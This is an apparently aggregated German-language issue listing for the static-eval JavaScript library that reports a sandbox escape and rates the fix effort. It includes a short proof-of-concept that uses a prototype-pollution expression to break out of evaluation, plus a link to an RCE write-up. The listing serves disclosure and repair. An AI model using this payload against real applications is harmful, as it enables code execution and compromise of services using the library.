browserify / browserify/static-eval
Sandbox Escape
- Vorherrschende Sprache
- JavaScript
- Sterne
- 177
- Forks
- 27
- PR-Merge-Kennzahlen
- Keine gemergten PRs in 30 T.
Beschreibung
## poc
```js
// make pollution
const evaluate = require('static-eval');
const parse = require('esprima').parse;
var src = `({})['__proto__']['__defineGetter__']('toString', ({})['constructor'])`
var ast = parse(src).body[0].expression;
evaluate(ast);
// serve webapp
const express = require('express');
const app = express();
app.get('/', (req, res) => {
res.end('working!');
});
app.listen(8080);
```
details in
https://blog.p6.is/bypassing-a-js-sandbox/#Prototype-Pollution-to-Remote-Code-Execution
Beitragsleitfaden
Für dieses Repository ist kein Beitragsleitfaden indexiert
Rechercherichtung
Der Bericht stellt einen JavaScript-PoC bereit, der static-eval und esprima.parse verwendet; der Exploit wird bei evaluate(ast) ausgelöst. Beginne damit, diesen Ausdruck zu reproduzieren und die verlinkten Details zum Sandbox-Escape zu prüfen. Als abgeschlossen gilt die Arbeit, wenn der gemeldete Prototype-Pollution-Pfad nicht mehr aus der Auswertung ausbricht und keinen unbeabsichtigten Code mehr ausführt und eine Regressionstestabdeckung in der Testsuite des Projekts hinzugefügt wurde.
Vom Indexierungsmodell aus dem Issue-Text verfasst.
Bewertung
- Tech-Stack
- javascript
- Bereich
- security
- Issue-Typ
- Bug
- Schwierigkeit
- 5/5
- Geschätzter Aufwand
- Über eine Woche
- Aktivitätsstatus
- Veraltet
- Klarheit
- Muss geklärt werden
- Anfängerfreundlichkeit
- 20/100